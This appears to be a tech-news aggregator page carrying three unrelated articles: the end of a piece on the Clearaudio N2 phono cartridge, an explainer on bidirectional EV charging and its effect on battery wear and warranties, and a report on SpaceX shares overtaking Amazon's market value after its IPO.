The Clearaudio N2’s most interesting feature is not simply that it is another affordable MM cartridge. The hook is the engineering: a 3D-printed PETG-CF carbon fibre-reinforced body, low-resonance construction, 8.5g weight, integrated threaded inserts, and a 3.3mV output that should work with standard MM phono stages. At $290, that puts it directly against the Audio-Technica AT-VM740xML and AT-VM745xML, Goldring E4, Grado Gold4, Grado Opus4, Sumiko Olympia, and the unavoidable Ortofon 2M Blue.

Advertisement. Scroll to continue reading.

Some of those rivals offer more advanced stylus profiles. Some have stronger name recognition. What Clearaudio brings is materials engineering and resonance control in a lightweight cartridge that should be easier to mount, easier to match, and more practical than a lot of high-end analog hardware wearing a scarier price tag.

Advertisement

Source link

Continue Reading

Tech

Your EV Could Make You Money While It’s Parked, But Might Cost You In The Long Run

Published

on





Many electric vehicles (EVs) only take electricity from the grid, but an increasingly growing technology is slowly becoming more prevalent on EVs: bidirectional charging. As opposed to unidirectional (one-way) charging, bidirectional charging allows for electricity to flow in two directions –- in the case of EVs, between the EV and a power source or load. Bidirectional charging effectively turns certain EVs into mobile power banks, allowing owners to use them as a backup generator or even sell excess energy back to the grid with EV power export (EVPE) applications like V2G (Vehicle-To-Grid).

There’s a two-pronged problem (pun intended) with bidirectional charging, though. First, bidirectional charging and EVPE applications, despite growing interest, are still catching on. Automakers like Tesla, Nissan, Volkswagen, and GM all offer a mix of EVPE applications through bidirectional charging, while other EV makers are coming around. Other manufacturers are expected to ramp up production of models with bidirectional charging tech, and General Motors is working towards making it standard across all of its EV models by model year 2026.

Then there’s the issue of battery life, and how bidirectional charging may adversely affect the long-term health of the electric car’s expensive battery. Assessing battery degradation is nuanced, but the consensus is that the extra charge/discharge cycles does slightly increase wear on the battery, according to a study conducted by RWTH Aachen University. But, the overall impact on the battery depends on several factors.

Advertisement

Bidirectional charging includes V2H, V2G, V2L, and V2X

Bidirectional charging consists of three different types: V2H (Vehicle-to-Home), V2L (Vehicle-to-Load), and V2G (Vehicle-to-Grid). Vehicle-to-Everything (V2X) is a blanket term that refers to all of the methods. The presence of these features is determined by the car maker, but they all function just as they sound. V2H allows an EV to supply power to a home’s electrical system, and could save owners up to 90% of charging costs. V2L lets the EV function as a mobile power bank for external loads (laptops, appliances, etc.), while V2G allows the EV to supply energy directly to the power grid, and in turn be compensated for it.

Advertisement

V2G is perhaps the most interesting of the three, as it incentivizes EV owners to contribute to the overall stability and demand of the grid when the car is parked and not in use. The earning potential with V2G varies depending on the program and the utility rates; a study by The University of Delaware shows a passenger EV can make as much as $3,359/year. Other estimates aren’t far off, reporting earning potential at over $3,000/year. A study by the University of Rochester also showed the potential for EV owners to save as much as $150/year on their electric bill while participating in V2G programs.

This, of course, depends on the availability of V2G programs. Texas, California, Connecticut, and Maryland are all leading the way in testing the scalability of V2G through pilot programs.

Advertisement

Bidirectional charging does increase wear on the battery, but it’s complicated …

There’s no getting around the fact that increasing the amount of cycles a lithium-ion battery goes through increases the wear and ageing of the battery. The same is true with EV batteries and bidirectional charging. However, there’s cycle aging, and then there’s calendar aging –- increasing one doesn’t necessarily increase the other. 

Environmental factors, thermal management, and the conditions in which V2G is being used are important variables when weighing value against battery degradation. Evidence shows that shallow discharge cycles can greatly mitigate degradation, and  an IEEE study found that while bidirectional charging can lead to a decrease in battery capacity, heat was the biggest factor.  

A study published in Applied Energy shows that over the course of 10 years, cycle age is decreased by 15% under normal EV conditions, whereas it decreased by 25% with V2G application. That same study also showed an average compensation rate of €132/MWh (about $150) for V2G participation. While V2X applications could potentially cost you in the long run, it could also pay for itself, especially if you’re properly maintaining the EV’s battery.

Battery warranty is perhaps the bigger question, as many OEM warranties do not explicitly state warranty coverage for bidirectional charging applications like V2G. While warranty policy is still catching up, some EV manufacturers are slowly updating their warranty language to include some level of bidirectional charging. Both Ford and Nissan have begun to support bidirectional charging, albeit under certain conditions; Ford limits the application to V2H with approved hardware, and Nissan supports specific V2G pilot programs. BYD has agreed to warranty a number of batteries in a V2G trial in Australia. Others, like General Motors, have begun to fully embrace bidirectional charging.

Advertisement



Source link

Advertisement
Continue Reading

Tech

SpaceX overtakes Amazon as its post-IPO rally rolls on

Published

on

SpaceX is now worth more than Amazon, at least for as long as the rally holds. Shares of the rocket company rose more than 10% on Tuesday, extending a run that began at its market debut and putting it on course to become the world’s fifth most valuable listed company, four trading days after it went public.

The stock was last up 10.1% at $211.80, according to Reuters, which works out to a market capitalisation of nearly $2.8tn if the gains stick. Amazon was last valued at $2.66tn.

The move followed a 19% jump on Monday, the first full day of trading, which itself followed a debut that already ranked as the largest initial public offering ever attempted.

The numbers underneath the rally are unusual enough to merit a second look. More than $1.16bn worth of SpaceX shares changed hands, which Reuters reported was several times the combined trading volume in Nvidia, Microsoft, Tesla, and Apple. A newly listed company outtrading four of the most heavily traded stocks on the market, put together, is not a normal week on the Nasdaq.

Advertisement

Much of that comes down to scarcity. SpaceX’s IPO floated only about 4.2% of the company’s shares, rising to roughly 4.9% once underwriters exercised the greenshoe option in full.

That leaves an extremely thin free float chasing heavy retail demand, the kind of supply-demand mismatch that can move a price far and fast in either direction. A small float is a wonderful thing on the way up.

The starting point was already historic. SpaceX priced its IPO at $135 a share for a $1.75tn valuation, raising $75bn in what TNW and others called the biggest listing on record.

The stock drew demand from retail investors worldwide, including $2.2bn from Japanese buyers alone, a measure of how broad the appetite ran before the first share traded.

Advertisement

The valuation it is now testing rests on a business with one profit engine and several expensive bets. Starlink, the satellite-internet division, generated the bulk of SpaceX’s revenue and effectively all of its operating profit last year, even as its growth maths has got harder and average revenue per user has slipped.

Starship and the xAI operations remain capital sinks that investors are pricing for years of growth they have not yet seen.

For Elon Musk, the arithmetic is personal as well as corporate. The listing handed him a paper fortune large enough to make him a trillionaire, and his and insiders’ voting control of the company survived the float intact. Tuesday’s climb adds to that total on paper, though paper is the operative word while the float stays this thin.

If SpaceX holds the fifth-place spot is a question for the closing bell rather than the premarket tape. A stock that can rise 19% in a day on a sliver of available shares can give the gain back on the same mechanics. For now, a company that was private a week ago is trading just behind Amazon, and the market is still deciding what that is worth.

Advertisement

Source link

Continue Reading

Trending

Copyright © 2025